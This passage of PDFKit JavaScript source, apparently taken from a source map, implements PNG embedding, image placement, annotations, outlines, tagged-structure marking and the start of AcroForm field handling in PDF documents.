if (this.image.palette.length === 0) {\r\n this.obj.data['ColorSpace'] = this.image.colorSpace;\r\n } else {\r\n // embed the color palette in the PDF as an object stream\r\n const palette = this.document.ref();\r\n palette.end(Buffer.from(this.image.palette));\r\n\r\n // build the color space array for the image\r\n this.obj.data['ColorSpace'] = [\r\n 'Indexed',\r\n 'DeviceRGB',\r\n this.image.palette.length / 3 - 1,\r\n palette\r\n ];\r\n }\r\n\r\n // For PNG color types 0, 2 and 3, the transparency data is stored in\r\n // a dedicated PNG chunk.\r\n if (this.image.transparency.grayscale != null) {\r\n // Use Color Key Masking (spec section 4.8.5)\r\n // An array with N elements, where N is two times the number of color components.\r\n const val = this.image.transparency.grayscale;\r\n this.obj.data['Mask'] = [val, val];\r\n } else if (this.image.transparency.rgb) {\r\n // Use Color Key Masking (spec section 4.8.5)\r\n // An array with N elements, where N is two times the number of color components.\r\n const { rgb } = this.image.transparency;\r\n const mask = [];\r\n for (let x of rgb) {\r\n mask.push(x, x);\r\n }\r\n\r\n this.obj.data['Mask'] = mask;\r\n } else if (this.image.transparency.indexed) {\r\n // Create a transparency SMask for the image based on the data\r\n // in the PLTE and tRNS sections. See below for details on SMasks.\r\n dataDecoded = true;\r\n return this.loadIndexedAlphaChannel();\r\n } else if (hasAlphaChannel) {\r\n // For PNG color types 4 and 6, the transparency data is stored as a alpha\r\n // channel mixed in with the main image data. Separate this data out into an\r\n // SMask object and store it separately in the PDF.\r\n dataDecoded = true;\r\n return this.splitAlphaChannel();\r\n }\r\n\r\n if (isInterlaced && !dataDecoded) {\r\n return this.decodeData();\r\n }\r\n\r\n this.finalize();\r\n }\r\n\r\n finalize() {\r\n if (this.alphaChannel) {\r\n const sMask = this.document.ref({\r\n Type: 'XObject',\r\n Subtype: 'Image',\r\n Height: this.height,\r\n Width: this.width,\r\n BitsPerComponent: 8,\r\n Filter: 'FlateDecode',\r\n ColorSpace: 'DeviceGray',\r\n Decode: [0, 1]\r\n });\r\n\r\n sMask.end(this.alphaChannel);\r\n this.obj.data['SMask'] = sMask;\r\n }\r\n\r\n // add the actual image data\r\n this.obj.end(this.imgData);\r\n\r\n // free memory\r\n this.image = null;\r\n return (this.imgData = null);\r\n }\r\n\r\n splitAlphaChannel() {\r\n return this.image.decodePixels(pixels => {\r\n let a, p;\r\n const colorCount = this.image.colors;\r\n const pixelCount = this.width * this.height;\r\n const imgData = Buffer.alloc(pixelCount * colorCount);\r\n const alphaChannel = Buffer.alloc(pixelCount);\r\n\r\n let i = (p = a = 0);\r\n const len = pixels.length;\r\n // For 16bit images copy only most significant byte (MSB) - PNG data is always stored in network byte order (MSB first)\r\n const skipByteCount = this.image.bits === 16 ? 1 : 0;\r\n while (i < len) {\r\n for (let colorIndex = 0; colorIndex < colorCount; colorIndex++) {\r\n imgData[p++] = pixels[i++];\r\n i += skipByteCount;\r\n }\r\n alphaChannel[a++] = pixels[i++];\r\n i += skipByteCount;\r\n }\r\n\r\n this.imgData = zlib.deflateSync(imgData);\r\n this.alphaChannel = zlib.deflateSync(alphaChannel);\r\n return this.finalize();\r\n });\r\n }\r\n\r\n loadIndexedAlphaChannel() {\r\n const transparency = this.image.transparency.indexed;\r\n return this.image.decodePixels(pixels => {\r\n const alphaChannel = Buffer.alloc(this.width * this.height);\r\n\r\n let i = 0;\r\n for (let j = 0, end = pixels.length; j < end; j++) {\r\n alphaChannel[i++] = transparency[pixels[j]];\r\n }\r\n\r\n this.alphaChannel = zlib.deflateSync(alphaChannel);\r\n return this.finalize();\r\n });\r\n }\r\n\r\n decodeData() {\r\n this.image.decodePixels(pixels => {\r\n this.imgData = zlib.deflateSync(pixels);\r\n this.finalize();\r\n });\r\n }\r\n}\r\n\r\nexport default PNGImage;\r\n","/*\r\nPDFImage - embeds images in PDF documents\r\nBy Devon Govett\r\n*/\r\n\r\nimport fs from 'fs';\r\nimport JPEG from './image/jpeg';\r\nimport PNG from './image/png';\r\n\r\nclass PDFImage {\r\n static open(src, label) {\r\n let data;\r\n if (Buffer.isBuffer(src)) {\r\n data = src;\r\n } else if (src instanceof ArrayBuffer) {\r\n data = Buffer.from(new Uint8Array(src));\r\n } else {\r\n let match;\r\n if ((match = /^data:.+;base64,(.*)$/.exec(src))) {\r\n data = Buffer.from(match[1], 'base64');\r\n } else {\r\n data = fs.readFileSync(src);\r\n if (!data) {\r\n return;\r\n }\r\n }\r\n }\r\n\r\n if (data[0] === 0xff && data[1] === 0xd8) {\r\n return new JPEG(data, label);\r\n } else if (data[0] === 0x89 && data.toString('ascii', 1, 4) === 'PNG') {\r\n return new PNG(data, label);\r\n } else {\r\n throw new Error('Unknown image format.');\r\n }\r\n }\r\n}\r\n\r\nexport default PDFImage;\r\n","import PDFImage from '../image';\r\n\r\nexport default {\r\n initImages() {\r\n this._imageRegistry = {};\r\n return (this._imageCount = 0);\r\n },\r\n\r\n image(src, x, y, options = {}) {\r\n let bh, bp, bw, image, ip, left, left1;\r\n if (typeof x === 'object') {\r\n options = x;\r\n x = null;\r\n }\r\n\r\n x = (left = x != null ? x : options.x) != null ? left : this.x;\r\n y = (left1 = y != null ? y : options.y) != null ? left1 : this.y;\r\n\r\n if (typeof src === 'string') {\r\n image = this._imageRegistry[src];\r\n }\r\n\r\n if (!image) {\r\n if (src.width && src.height) {\r\n image = src;\r\n } else {\r\n image = this.openImage(src);\r\n }\r\n }\r\n\r\n if (!image.obj) {\r\n image.embed(this);\r\n }\r\n\r\n if (this.page.xobjects[image.label] == null) {\r\n this.page.xobjects[image.label] = image.obj;\r\n }\r\n\r\n let w = options.width || image.width;\r\n let h = options.height || image.height;\r\n\r\n if (options.width && !options.height) {\r\n const wp = w / image.width;\r\n w = image.width * wp;\r\n h = image.height * wp;\r\n } else if (options.height && !options.width) {\r\n const hp = h / image.height;\r\n w = image.width * hp;\r\n h = image.height * hp;\r\n } else if (options.scale) {\r\n w = image.width * options.scale;\r\n h = image.height * options.scale;\r\n } else if (options.fit) {\r\n [bw, bh] = options.fit;\r\n bp = bw / bh;\r\n ip = image.width / image.height;\r\n if (ip > bp) {\r\n w = bw;\r\n h = bw / ip;\r\n } else {\r\n h = bh;\r\n w = bh * ip;\r\n }\r\n } else if (options.cover) {\r\n [bw, bh] = options.cover;\r\n bp = bw / bh;\r\n ip = image.width / image.height;\r\n if (ip > bp) {\r\n h = bh;\r\n w = bh * ip;\r\n } else {\r\n w = bw;\r\n h = bw / ip;\r\n }\r\n }\r\n\r\n if (options.fit || options.cover) {\r\n if (options.align === 'center') {\r\n x = x + bw / 2 - w / 2;\r\n } else if (options.align === 'right') {\r\n x = x + bw - w;\r\n }\r\n\r\n if (options.valign === 'center') {\r\n y = y + bh / 2 - h / 2;\r\n } else if (options.valign === 'bottom') {\r\n y = y + bh - h;\r\n }\r\n }\r\n\r\n // create link annotations if the link option is given\r\n if (options.link != null) {\r\n this.link(x, y, w, h, options.link);\r\n }\r\n if (options.goTo != null) {\r\n this.goTo(x, y, w, h, options.goTo);\r\n }\r\n if (options.destination != null) {\r\n this.addNamedDestination(options.destination, 'XYZ', x, y, null);\r\n }\r\n\r\n // Set the current y position to below the image if it is in the document flow\r\n if (this.y === y) {\r\n this.y += h;\r\n }\r\n\r\n this.save();\r\n this.transform(w, 0, 0, -h, x, y + h);\r\n this.addContent(`/${image.label} Do`);\r\n this.restore();\r\n\r\n return this;\r\n },\r\n\r\n openImage(src) {\r\n let image;\r\n if (typeof src === 'string') {\r\n image = this._imageRegistry[src];\r\n }\r\n\r\n if (!image) {\r\n image = PDFImage.open(src, `I${++this._imageCount}`);\r\n if (typeof src === 'string') {\r\n this._imageRegistry[src] = image;\r\n }\r\n }\r\n\r\n return image;\r\n }\r\n};\r\n","export default {\r\n annotate(x, y, w, h, options) {\r\n options.Type = 'Annot';\r\n options.Rect = this._convertRect(x, y, w, h);\r\n options.Border = [0, 0, 0];\r\n\r\n if (options.Subtype === 'Link' && typeof options.F === 'undefined') {\r\n options.F = 1 << 2; // Print Annotation Flag\r\n }\r\n\r\n if (options.Subtype !== 'Link') {\r\n if (options.C == null) {\r\n options.C = this._normalizeColor(options.color || [0, 0, 0]);\r\n }\r\n } // convert colors\r\n delete options.color;\r\n\r\n if (typeof options.Dest === 'string') {\r\n options.Dest = new String(options.Dest);\r\n }\r\n\r\n // Capitalize keys\r\n for (let key in options) {\r\n const val = options[key];\r\n options[key[0].toUpperCase() + key.slice(1)] = val;\r\n }\r\n\r\n const ref = this.ref(options);\r\n this.page.annotations.push(ref);\r\n ref.end();\r\n return this;\r\n },\r\n\r\n note(x, y, w, h, contents, options = {}) {\r\n options.Subtype = 'Text';\r\n options.Contents = new String(contents);\r\n options.Name = 'Comment';\r\n if (options.color == null) {\r\n options.color = [243, 223, 92];\r\n }\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n goTo(x, y, w, h, name, options = {}) {\r\n options.Subtype = 'Link';\r\n options.A = this.ref({\r\n S: 'GoTo',\r\n D: new String(name)\r\n });\r\n options.A.end();\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n link(x, y, w, h, url, options = {}) {\r\n options.Subtype = 'Link';\r\n\r\n if (typeof url === 'number') {\r\n // Link to a page in the document (the page must already exist)\r\n const pages = this._root.data.Pages.data;\r\n if (url >= 0 && url < pages.Kids.length) {\r\n options.A = this.ref({\r\n S: 'GoTo',\r\n D: [pages.Kids[url], 'XYZ', null, null, null]\r\n });\r\n options.A.end();\r\n } else {\r\n throw new Error(`The document has no page ${url}`);\r\n }\r\n } else {\r\n // Link to an external url\r\n options.A = this.ref({\r\n S: 'URI',\r\n URI: new String(url)\r\n });\r\n options.A.end();\r\n }\r\n\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n _markup(x, y, w, h, options = {}) {\r\n const [x1, y1, x2, y2] = this._convertRect(x, y, w, h);\r\n options.QuadPoints = [x1, y2, x2, y2, x1, y1, x2, y1];\r\n options.Contents = new String();\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n highlight(x, y, w, h, options = {}) {\r\n options.Subtype = 'Highlight';\r\n if (options.color == null) {\r\n options.color = [241, 238, 148];\r\n }\r\n return this._markup(x, y, w, h, options);\r\n },\r\n\r\n underline(x, y, w, h, options = {}) {\r\n options.Subtype = 'Underline';\r\n return this._markup(x, y, w, h, options);\r\n },\r\n\r\n strike(x, y, w, h, options = {}) {\r\n options.Subtype = 'StrikeOut';\r\n return this._markup(x, y, w, h, options);\r\n },\r\n\r\n lineAnnotation(x1, y1, x2, y2, options = {}) {\r\n options.Subtype = 'Line';\r\n options.Contents = new String();\r\n options.L = [x1, this.page.height - y1, x2, this.page.height - y2];\r\n return this.annotate(x1, y1, x2, y2, options);\r\n },\r\n\r\n rectAnnotation(x, y, w, h, options = {}) {\r\n options.Subtype = 'Square';\r\n options.Contents = new String();\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n ellipseAnnotation(x, y, w, h, options = {}) {\r\n options.Subtype = 'Circle';\r\n options.Contents = new String();\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n textAnnotation(x, y, w, h, text, options = {}) {\r\n options.Subtype = 'FreeText';\r\n options.Contents = new String(text);\r\n options.DA = new String();\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n fileAnnotation(x, y, w, h, file = {}, options = {}) {\r\n // create hidden file\r\n const filespec = this.file(\r\n file.src,\r\n Object.assign({ hidden: true }, file)\r\n );\r\n\r\n options.Subtype = 'FileAttachment';\r\n options.FS = filespec;\r\n\r\n // add description from filespec unless description (Contents) has already been set\r\n if (options.Contents) {\r\n options.Contents = new String(options.Contents);\r\n } else if (filespec.data.Desc) {\r\n options.Contents = filespec.data.Desc;\r\n }\r\n\r\n return this.annotate(x, y, w, h, options);\r\n },\r\n\r\n _convertRect(x1, y1, w, h) {\r\n // flip y1 and y2\r\n let y2 = y1;\r\n y1 += h;\r\n\r\n // make x2\r\n let x2 = x1 + w;\r\n\r\n // apply current transformation matrix to points\r\n const [m0, m1, m2, m3, m4, m5] = this._ctm;\r\n x1 = m0 * x1 + m2 * y1 + m4;\r\n y1 = m1 * x1 + m3 * y1 + m5;\r\n x2 = m0 * x2 + m2 * y2 + m4;\r\n y2 = m1 * x2 + m3 * y2 + m5;\r\n\r\n return [x1, y1, x2, y2];\r\n }\r\n};\r\n","class PDFOutline {\r\n constructor(document, parent, title, dest, options = { expanded: false }) {\r\n this.document = document;\r\n this.options = options;\r\n this.outlineData = {};\r\n\r\n if (dest !== null) {\r\n this.outlineData['Dest'] = [dest.dictionary, 'Fit'];\r\n }\r\n\r\n if (parent !== null) {\r\n this.outlineData['Parent'] = parent;\r\n }\r\n\r\n if (title !== null) {\r\n this.outlineData['Title'] = new String(title);\r\n }\r\n\r\n this.dictionary = this.document.ref(this.outlineData);\r\n this.children = [];\r\n }\r\n\r\n addItem(title, options = { expanded: false }) {\r\n const result = new PDFOutline(\r\n this.document,\r\n this.dictionary,\r\n title,\r\n this.document.page,\r\n options\r\n );\r\n this.children.push(result);\r\n\r\n return result;\r\n }\r\n\r\n endOutline() {\r\n if (this.children.length > 0) {\r\n if (this.options.expanded) {\r\n this.outlineData.Count = this.children.length;\r\n }\r\n\r\n const first = this.children[0],\r\n last = this.children[this.children.length - 1];\r\n this.outlineData.First = first.dictionary;\r\n this.outlineData.Last = last.dictionary;\r\n\r\n for (let i = 0, len = this.children.length; i < len; i++) {\r\n const child = this.children[i];\r\n if (i > 0) {\r\n child.outlineData.Prev = this.children[i - 1].dictionary;\r\n }\r\n if (i < this.children.length - 1) {\r\n child.outlineData.Next = this.children[i + 1].dictionary;\r\n }\r\n child.endOutline();\r\n }\r\n }\r\n\r\n return this.dictionary.end();\r\n }\r\n}\r\n\r\nexport default PDFOutline;\r\n","import PDFOutline from '../outline';\r\n\r\nexport default {\r\n initOutline() {\r\n return (this.outline = new PDFOutline(this, null, null, null));\r\n },\r\n\r\n endOutline() {\r\n this.outline.endOutline();\r\n if (this.outline.children.length > 0) {\r\n this._root.data.Outlines = this.outline.dictionary;\r\n return (this._root.data.PageMode = 'UseOutlines');\r\n }\r\n }\r\n};\r\n","/*\r\nPDFStructureContent - a reference to a marked structure content\r\nBy Ben Schmidt\r\n*/\r\n\r\nclass PDFStructureContent {\r\n constructor(pageRef, mcid) {\r\n this.refs = [{ pageRef, mcid }];\r\n }\r\n\r\n push(structContent) {\r\n structContent.refs.forEach((ref) => this.refs.push(ref));\r\n }\r\n}\r\n\r\nexport default PDFStructureContent;\r\n","/*\r\nPDFStructureElement - represents an element in the PDF logical structure tree\r\nBy Ben Schmidt\r\n*/\r\n\r\nimport PDFStructureContent from \"./structure_content\";\r\n\r\nclass PDFStructureElement {\r\n constructor(document, type, options = {}, children = null) {\r\n this.document = document;\r\n\r\n this._attached = false;\r\n this._ended = false;\r\n this._flushed = false;\r\n this.dictionary = document.ref({\r\n // Type: \"StructElem\",\r\n S: type\r\n });\r\n\r\n const data = this.dictionary.data;\r\n\r\n if (Array.isArray(options) || this._isValidChild(options)) {\r\n children = options;\r\n options = {};\r\n }\r\n\r\n if (typeof options.title !== 'undefined') {\r\n data.T = new String(options.title);\r\n }\r\n if (typeof options.lang !== 'undefined') {\r\n data.Lang = new String(options.lang);\r\n }\r\n if (typeof options.alt !== 'undefined') {\r\n data.Alt = new String(options.alt);\r\n }\r\n if (typeof options.expanded !== 'undefined') {\r\n data.E = new String(options.expanded);\r\n }\r\n if (typeof options.actual !== 'undefined') {\r\n data.ActualText = new String(options.actual);\r\n }\r\n\r\n this._children = [];\r\n\r\n if (children) {\r\n if (!Array.isArray(children)) {\r\n children = [children];\r\n }\r\n children.forEach((child) => this.add(child));\r\n this.end();\r\n }\r\n }\r\n\r\n add(child) {\r\n if (this._ended) {\r\n throw new Error(`Cannot add child to already-ended structure element`);\r\n }\r\n\r\n if (!this._isValidChild(child)) {\r\n throw new Error(`Invalid structure element child`);\r\n }\r\n\r\n if (child instanceof PDFStructureElement) {\r\n child.setParent(this.dictionary);\r\n if (this._attached) {\r\n child.setAttached();\r\n }\r\n }\r\n\r\n if (child instanceof PDFStructureContent) {\r\n this._addContentToParentTree(child);\r\n }\r\n\r\n if (typeof child === 'function' && this._attached) {\r\n // _contentForClosure() adds the content to the parent tree\r\n child = this._contentForClosure(child);\r\n }\r\n\r\n this._children.push(child);\r\n\r\n return this;\r\n }\r\n\r\n _addContentToParentTree(content) {\r\n content.refs.forEach(({ pageRef, mcid }) => {\r\n const pageStructParents = this.document.getStructParentTree()\r\n .get(pageRef.data.StructParents);\r\n pageStructParents[mcid] = this.dictionary;\r\n });\r\n }\r\n\r\n setParent(parentRef) {\r\n if (this.dictionary.data.P) {\r\n throw new Error(`Structure element added to more than one parent`);\r\n }\r\n\r\n this.dictionary.data.P = parentRef;\r\n\r\n this._flush();\r\n }\r\n\r\n setAttached() {\r\n if (this._attached) {\r\n return;\r\n }\r\n\r\n this._children.forEach((child, index) => {\r\n if (child instanceof PDFStructureElement) {\r\n child.setAttached();\r\n }\r\n if (typeof child === 'function') {\r\n this._children[index] = this._contentForClosure(child);\r\n }\r\n });\r\n\r\n this._attached = true;\r\n\r\n this._flush();\r\n }\r\n\r\n end() {\r\n if (this._ended) {\r\n return;\r\n }\r\n\r\n this._children\r\n .filter((child) => child instanceof PDFStructureElement)\r\n .forEach((child) => child.end());\r\n\r\n this._ended = true;\r\n\r\n this._flush();\r\n }\r\n\r\n _isValidChild(child) {\r\n return child instanceof PDFStructureElement ||\r\n child instanceof PDFStructureContent ||\r\n typeof child === 'function';\r\n }\r\n\r\n _contentForClosure(closure) {\r\n const content = this.document.markStructureContent(this.dictionary.data.S);\r\n closure();\r\n this.document.endMarkedContent();\r\n\r\n this._addContentToParentTree(content);\r\n\r\n return content;\r\n }\r\n\r\n _isFlushable() {\r\n if (!this.dictionary.data.P || !this._ended) {\r\n return false;\r\n }\r\n\r\n return this._children.every((child) => {\r\n if (typeof child === 'function') {\r\n return false;\r\n }\r\n if (child instanceof PDFStructureElement) {\r\n return child._isFlushable();\r\n }\r\n return true;\r\n });\r\n }\r\n\r\n _flush() {\r\n if (this._flushed || !this._isFlushable()) {\r\n return;\r\n }\r\n\r\n this.dictionary.data.K = [];\r\n\r\n this._children.forEach((child) => this._flushChild(child));\r\n\r\n this.dictionary.end();\r\n\r\n // free memory used by children; the dictionary itself may still be\r\n // referenced by a parent structure element or root, but we can\r\n // at least trim the tree here\r\n this._children = [];\r\n this.dictionary.data.K = null;\r\n\r\n this._flushed = true;\r\n }\r\n\r\n _flushChild(child) {\r\n if (child instanceof PDFStructureElement) {\r\n this.dictionary.data.K.push(child.dictionary);\r\n }\r\n\r\n if (child instanceof PDFStructureContent) {\r\n child.refs.forEach(({ pageRef, mcid }) => {\r\n if (!this.dictionary.data.Pg) {\r\n this.dictionary.data.Pg = pageRef;\r\n }\r\n\r\n if (this.dictionary.data.Pg === pageRef) {\r\n this.dictionary.data.K.push(mcid);\r\n } else {\r\n this.dictionary.data.K.push({\r\n Type: \"MCR\",\r\n Pg: pageRef,\r\n MCID: mcid\r\n });\r\n }\r\n });\r\n }\r\n }\r\n}\r\n\r\nexport default PDFStructureElement;\r\n","/*\r\nPDFNumberTree - represents a number tree object\r\n*/\r\n\r\nimport PDFTree from \"./tree\";\r\n\r\nclass PDFNumberTree extends PDFTree {\r\n _compareKeys(a, b) {\r\n return parseInt(a) - parseInt(b);\r\n }\r\n\r\n _keysName() {\r\n return \"Nums\";\r\n }\r\n\r\n _dataForKey(k) {\r\n return parseInt(k);\r\n }\r\n}\r\n\r\nexport default PDFNumberTree;\r\n","/*\r\nMarkings mixin - support marked content sequences in content streams\r\nBy Ben Schmidt\r\n*/\r\n\r\nimport PDFStructureElement from \"../structure_element\";\r\nimport PDFStructureContent from \"../structure_content\";\r\nimport PDFNumberTree from \"../number_tree\";\r\nimport PDFObject from \"../object\";\r\n\r\nexport default {\r\n\r\n initMarkings(options) {\r\n this.structChildren = [];\r\n\r\n if (options.tagged) {\r\n this.getMarkInfoDictionary().data.Marked = true;\r\n this.getStructTreeRoot();\r\n }\r\n },\r\n\r\n markContent(tag, options = null) {\r\n if (tag === 'Artifact' || (options && options.mcid)) {\r\n let toClose = 0;\r\n this.page.markings.forEach((marking) => {\r\n if (toClose || marking.structContent || marking.tag === 'Artifact') {\r\n toClose++;\r\n }\r\n });\r\n while (toClose--) {\r\n this.endMarkedContent();\r\n }\r\n }\r\n\r\n if (!options) {\r\n this.page.markings.push({ tag });\r\n this.addContent(`/${tag} BMC`);\r\n return this;\r\n }\r\n\r\n this.page.markings.push({ tag, options });\r\n\r\n const dictionary = {};\r\n\r\n if (typeof options.mcid !== 'undefined') {\r\n dictionary.MCID = options.mcid;\r\n }\r\n if (tag === 'Artifact') {\r\n if (typeof options.type === 'string') {\r\n dictionary.Type = options.type;\r\n }\r\n if (Array.isArray(options.bbox)) {\r\n dictionary.BBox = [options.bbox[0], this.page.height - options.bbox[3],\r\n options.bbox[2], this.page.height - options.bbox[1]];\r\n }\r\n if (Array.isArray(options.attached) &&\r\n options.attached.every(val => typeof val === 'string')) {\r\n dictionary.Attached = options.attached;\r\n }\r\n }\r\n if (tag === 'Span') {\r\n if (options.lang) {\r\n dictionary.Lang = new String(options.lang);\r\n }\r\n if (options.alt) {\r\n dictionary.Alt = new String(options.alt);\r\n }\r\n if (options.expanded) {\r\n dictionary.E = new String(options.expanded);\r\n }\r\n if (options.actual) {\r\n dictionary.ActualText = new String(options.actual);\r\n }\r\n }\r\n\r\n this.addContent(`/${tag} ${PDFObject.convert(dictionary)} BDC`);\r\n return this;\r\n },\r\n\r\n markStructureContent(tag, options = {}) {\r\n const pageStructParents = this.getStructParentTree().get(this.page.structParentTreeKey);\r\n const mcid = pageStructParents.length;\r\n pageStructParents.push(null);\r\n\r\n this.markContent(tag, { ...options, mcid });\r\n\r\n const structContent = new PDFStructureContent(this.page.dictionary, mcid);\r\n this.page.markings.slice(-1)[0].structContent = structContent;\r\n return structContent;\r\n },\r\n\r\n endMarkedContent() {\r\n this.page.markings.pop();\r\n this.addContent('EMC');\r\n return this;\r\n },\r\n\r\n struct(type, options = {}, children = null) {\r\n return new PDFStructureElement(this, type, options, children);\r\n },\r\n\r\n addStructure(structElem) {\r\n const structTreeRoot = this.getStructTreeRoot();\r\n structElem.setParent(structTreeRoot);\r\n structElem.setAttached();\r\n this.structChildren.push(structElem);\r\n if (!structTreeRoot.data.K) {\r\n structTreeRoot.data.K = [];\r\n }\r\n structTreeRoot.data.K.push(structElem.dictionary);\r\n return this;\r\n },\r\n\r\n initPageMarkings(pageMarkings) {\r\n pageMarkings.forEach((marking) => {\r\n if (marking.structContent) {\r\n const structContent = marking.structContent;\r\n const newStructContent = this.markStructureContent(marking.tag, marking.options);\r\n structContent.push(newStructContent);\r\n this.page.markings.slice(-1)[0].structContent = structContent;\r\n } else {\r\n this.markContent(marking.tag, marking.options);\r\n }\r\n });\r\n },\r\n\r\n endPageMarkings(page) {\r\n const pageMarkings = page.markings;\r\n pageMarkings.forEach(() => page.write('EMC'));\r\n page.markings = [];\r\n return pageMarkings;\r\n },\r\n\r\n getMarkInfoDictionary() {\r\n if (!this._root.data.MarkInfo) {\r\n this._root.data.MarkInfo = this.ref({});\r\n }\r\n return this._root.data.MarkInfo;\r\n },\r\n\r\n getStructTreeRoot() {\r\n if (!this._root.data.StructTreeRoot) {\r\n this._root.data.StructTreeRoot = this.ref({\r\n Type: 'StructTreeRoot',\r\n ParentTree: new PDFNumberTree(),\r\n ParentTreeNextKey: 0\r\n });\r\n }\r\n return this._root.data.StructTreeRoot;\r\n },\r\n\r\n getStructParentTree() {\r\n return this.getStructTreeRoot().data.ParentTree;\r\n },\r\n\r\n createStructParentTreeNextKey() {\r\n // initialise the MarkInfo dictionary\r\n this.getMarkInfoDictionary();\r\n\r\n const structTreeRoot = this.getStructTreeRoot();\r\n const key = structTreeRoot.data.ParentTreeNextKey++;\r\n structTreeRoot.data.ParentTree.add(key, []);\r\n return key;\r\n },\r\n\r\n endMarkings() {\r\n const structTreeRoot = this._root.data.StructTreeRoot;\r\n if (structTreeRoot) {\r\n structTreeRoot.end();\r\n this.structChildren.forEach((structElem) => structElem.end());\r\n }\r\n if (this._root.data.MarkInfo) {\r\n this._root.data.MarkInfo.end();\r\n }\r\n }\r\n\r\n};\r\n","const FIELD_FLAGS = {\r\n readOnly: 1,\r\n required: 2,\r\n noExport: 4,\r\n multiline: 0x1000,\r\n password: 0x2000,\r\n toggleToOffButton: 0x4000,\r\n radioButton: 0x8000,\r\n pushButton: 0x10000,\r\n combo: 0x20000,\r\n edit: 0x40000,\r\n sort: 0x80000,\r\n multiSelect: 0x200000,\r\n noSpell: 0x400000\r\n};\r\nconst FIELD_JUSTIFY = {\r\n left: 0,\r\n center: 1,\r\n right: 2\r\n};\r\nconst VALUE_MAP = { value: 'V', defaultValue: 'DV' };\r\nconst FORMAT_SPECIAL = {\r\n zip: '0',\r\n zipPlus4: '1',\r\n zip4: '1',\r\n phone: '2',\r\n ssn: '3'\r\n};\r\nconst FORMAT_DEFAULT = {\r\n number: {\r\n nDec: 0,\r\n sepComma: false,\r\n negStyle: 'MinusBlack',\r\n currency: '',\r\n currencyPrepend: true\r\n },\r\n percent: {\r\n nDec: 0,\r\n sepComma: false\r\n }\r\n};\r\n\r\nexport default {\r\n /**\r\n * Must call if adding AcroForms to a document. Must also call font() before\r\n * this method to set the default font.\r\n */\r\n initForm() {\r\n if (!this._font) {\r\n throw new Error('Must set a font before calling initForm method');\r\n }\r\n this._acroform = {\r\n fonts: {},\r\n defaultFont: this._font.name\r\n };\r\n this._acroform.fonts[this._font.id] = this._font.ref();\r\n\r\n let data = {\r\n Fields: [],\r\n NeedAppearances: true,\r\n DA: new String(`/${this._font.id} 0 Tf 0 g`),\r\n DR: {\r\n Font: {}\r\n }\r\n };\r\n data.DR.Font[this._font.id] = this._font.ref();\r\n const AcroForm = this.ref(data);\r\n this._root.data.AcroForm = AcroForm;\r\n return this;\r\n },\r\n\r\n /**\r\n * Called automatically by document.js\r\n */\r\n endAcroForm() {\r\n if (this._root.data.AcroForm) {\r\n if (\r\n !Object.keys(this._acroform.fonts).length &&\r\n !this._acroform.defaultFont\r\n ) {\r\n throw new Error('No fonts specified for PDF form');\r\n }\r\n let fontDict = this._root.data.AcroForm.data.DR.Font;\r\n Object.keys(this._acroform.fonts).forEach(name => {\r\n fontDict[name] = this._acroform.fonts[name];\r\n });\r\n this._root.data.AcroForm.data.Fields.forEach(fieldRef => {\r\n this._endChild(fieldRef);\r\n });\r\n this._root.data.AcroForm.end();\r\n }\r\n return this;\r\n },\r\n\r\n _endChild(ref) {\r\n if (Array.isArray(ref.data.Kids)) {\r\n ref.data.Kids.forEach(childRef => {\r\n this._endChild(childRef);\r\n });\r\n ref.end();\r\n }\r\n return this;\r\n },\r\n\r\n /**\r\n * Creates and adds a form field to the document. Form fields are intermediate\r\n * nodes in a PDF form that are used to specify form name heirarchy and form\r\n * value defaults.\r\n * @param {string} name - field name (T attribute in field dictionary)\r\n * @param {object} options - other attributes to include in field dictionary\r\n */\r\n formField(name, options = {}) {\r\n let fieldDict = this._fieldDict(name, null, options);\r\n let fieldRef = this.ref(fieldDict);\r\n this._addToParent(fieldRef);\r\n return fieldRef;\r\n },\r\n\r\n /**\r\n * Creates and adds a Form Annotation to the document. Form annotations are\r\n * called Widget annotations internally within a PDF file.\r\n * @param {string} name - form field name (T attribute of widget annotation\r\n * dictionary)\r\n * @param {number} x\r\n * @param {number} y\r\n * @param {number} w\r\n * @param {number} h\r\n * @param {object} options\r\n */\r\n formAnnotation(name, type, x, y, w, h, options = {}) {\r\n let fieldDict = this._fieldDict(name, type, options);\r\n fieldDict.Subtype = 'Widget';\r\n if (fieldDict.F === undefined) {\r\n fieldDict.F = 4; // print the annotation\r\n }\r\n\r\n // Add Field annot to page, and get it's ref\r\n this.annotate(x, y, w, h, fieldDict);\r\n let annotRef = this.page.annotations[this.page.annotations.length - 1];\r\n\r\n return this._addToParent(annotRef);\r\n },\r\n\r\n formText(name, x, y, w, h, options = {}) {\r\n return this.formAnnotation(name, 'text', x, y, w, h, options);\r\n },\r\n\r\n formPushButton(name, x, y, w, h, options = {}) {\r\n return this.formAnnotation(name, 'pushButton', x, y, w, h, options);\r\n },\r\n\r\n formCombo(name, x, y, w, h, options = {}) {\r\n return this.formAnnotation(name, 'combo', x, y, w, h, options);\r\n },\r\n\r\n formList(name, x, y, w, h, options = {}) {\r\n return this.formAnnotation(name, 'list', x, y, w, h, options);\r\n },\r\n\r\n formRadioButton(name, x, y, w, h, options = {}) {\r\n return this.formAnnotation(name, 'radioButton', x, y, w, h, options);\r\n },\r\n\r\n formCheckbox(name, x, y, w, h, options = {}) {\r\n return this.formAnnotation(name, 'checkbox', x, y, w, h, options);\r\n },\r\n\r\n _addToParent(fieldRef) {\r\n let parent = fieldRef.data.Parent;\r\n if (parent) {\r\n if (!parent.data.Kids) {\r\n parent.data.Kids = [];\r\n }\r\n parent.data.Kids.push(fieldRef);\r\n } else {\r\n this._root.data.AcroForm.data.Fields.push(fieldRef);\r\n }\r\n return this;\r\n },\r\n\r\n _fieldDict(name, type, options = {}) {\r\n if (!this._acroform) {\r\n throw new Error(\r\n 'Call document.initForms() method before adding form elements to document'\r\n );\r\n }\r\n let opts = Object.assign({}, options);\r\n if (type !== null) {\r\n opts = this._resolveType(type, options);\r\n }\r\n opts = this._resolveFlags(opts);\r\n opts = this._resolveJustify(opts);\r\n opts = this._resolveFont(opts);\r\n opts = this._resolveStrings(opts);\r\n opts = this._resolveColors(opts);\r\n opts = this._resolveFormat(opts);\r\n opts.T = new String(name);\r\n if (opts.parent) 